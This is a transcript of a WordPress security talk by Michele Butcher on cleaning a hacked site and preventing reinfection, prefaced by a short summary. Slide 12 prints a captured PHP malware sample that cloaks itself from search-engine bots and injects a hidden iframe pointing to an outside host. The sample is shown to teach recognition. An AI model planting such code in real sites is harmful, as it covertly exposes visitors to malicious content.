The document provides steps and recommendations for cleaning a WordPress site that has been hacked. It begins by explaining the shock and dismay of discovering a hacked site. It then recommends either paying someone to clean the site or doing it yourself. For doing it yourself, the document advises cleaning core files, themes, and plugins and using the opportunity to remove unused files. Additional steps include changing salts, reviewing users and deleting unwanted ones, checking FTP accounts, reviewing file permissions, adding security plugins, changing login credentials, using a password manager, and regularly updating WordPress, plugins and themes. The overall message is how to thoroughly clean and secure a site after a hack.

1. Your Site Has Been Hacked,
Now What?
Michele Butcher
CantSpeakGeek.com WPSecurityLock.com
@Michele_Butcher
Slides can be found at: http://mlb.pw/WCSD2015
@Michele_Butcher

2. WordPress Specialist at
WP Security Lock
Head Geek at Can’t
Speak Geek
Sometimes a designer of pretty
websites and graphics
Southern Illinois Meetup Co-Organizer
Beginners and Intermediate WordPress
Instructor at John A Logan College
Michele Butcher
@Michele_Butcher

3. It all starts one dreadful
morning……
@Michele_Butcher

4. First you see this
@Michele_Butcher

5. Then you realize this has happened
@Michele_Butcher

6. Which made you feel like this…
@Michele_Butcher

7. What do you do when
your site gets hacked?
@Michele_Butcher

8. First option:
Pay someone else to clean it.
There are many options out there who will
clean your site. Here is who I suggest.
WP Security Lock
https://wpsecuritylock.com
Sucuri Security
http://sucuri.net/
@Michele_Butcher
Hack Repair
http://hackrepair.com

9. Second Option:
Clean it yourself
• Cheapest
• Most time consuming
• No one knows your site better than you do
• You just have to know what to look for
I do not suggest this if you are not comfortable
reading HTML, PHP, and CSS. @Michele_Butcher

10. Pretty Code
@Michele_Butcher

11. Not So Pretty Code
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@Michele_Butcher

12. <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter =
array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blog
pulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.
de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-
resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/
QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
} @Michele_Butcher

13. When cleaning your site, add
clean copies of core, your
theme and your plugins. It
makes cleaning so much
easier.
@Michele_Butcher

14. This is a good time to make
an audit of everything on
your site and delete what is
not being used. You can
always add other themes
and plugins back later when
you need it.
@Michele_Butcher

15. Now you have all the malware
removed, that does not mean we are done
@Michele_Butcher

16. Change the salts in your
wp-config.php file
@Michele_Butcher

17. Check your users!
• You could have unwanted users
• Delete the unwanted guests immediately
• if you use “admin” as a username, delete it and
make a new user name
• Delete all users that are no longer using your
dashboard (Old devs, designers, guests)
• Only give others the access they need, not what
they want. A guest blogger should never be an
admin, only a contributor.
@Michele_Butcher

18. Check your FTP accounts
on your server
You could have unwanted users here as well
@Michele_Butcher

19. Check your File Permissions
Files should be 644
Directories should be 755
@Michele_Butcher

20. Add some Security to your site
• iThemes Security or iThemes Security Pro
• Jetpack (BruteProtect and VaultPress)
• WordFence
• Sucuri Firewall
Some trusted plugins
@Michele_Butcher

21. Change your login
information
• WordPress Logins and passwords
• cPanel Logins and passwords
• Database logins and passwords
(Remember to change them in your wp-config.php)
• Hosting Logins and passwords
@Michele_Butcher

22. When it comes to usernames and
passwords, here are a few tips.
• NEVER use “admin” as a username and
“password”as the password. NEVER on
anything!
• The harder a password is to remember, the
harder is to hack
• Use something like LastPass, 1Password, or
KeyPass to store your passwords
@Michele_Butcher

23. What do you do to not get
hacked again?
@Michele_Butcher

24. First and most important!
UPDATE
UPDATE
UPDATE
Update core, update plugins, update themes!
@Michele_Butcher

25. A note on updating
If you use a theme and/or plugin that was
purchased from Envato, Theme Forest, or Code
Canyon please mark the box under each
purchased item on the download page to be
notified by email of updates. That is the only way
they notify their customers of updates.
This is part of the reason the RevSlider Soak Soak
infection was so high.
@Michele_Butcher

26. Pay attention to WordPress
news and security sites
• WP Tavern
• WP Security Bloggers
• Sucuri Blog
• WP Security Lock
• Advanced WordPress (Facebook)
• Twitter
@Michele_Butcher

27. Only use trusted and
supported themes and plugins
Do NOT use a theme or plugin
• That has not been updated in more than a
year
• No one is responding in the support forums
• If it shows that it does not work in the
current version of core
@Michele_Butcher

28. Start Making Backups
• Backup Buddy
• BackWPUp
• VaultPress (Jetpack)
• Check with your hosting company to see if they do
backups as well
• iThemes Security (free and Pro) will do database
backups
@Michele_Butcher

29. Speaking of backups…
Save them somewhere other than your server.
Most have options to send them to an Amazon
S3 account, Dropbox, email, or download to
your machine.
@Michele_Butcher

30. Lastly, be active with your site. You
know your site best. If something
does not feel right, look into it.
Also, do not ignore your website.
No one likes a zombie website.
@Michele_Butcher

31. And remember…
@Michele_Butcher

32. Don’t
Let
Security
Make
You
This
Guy!
@Michele_Butcher

33. Questions?
@Michele_Butcher

34. Thank you!
Michele Butcher
http://CantSpeakGeek.com
https:WPSecurityLock.com
@Michele_Butcher
Slides can be found at: http://mlb.pw/WCSD2015
@Michele_Butcher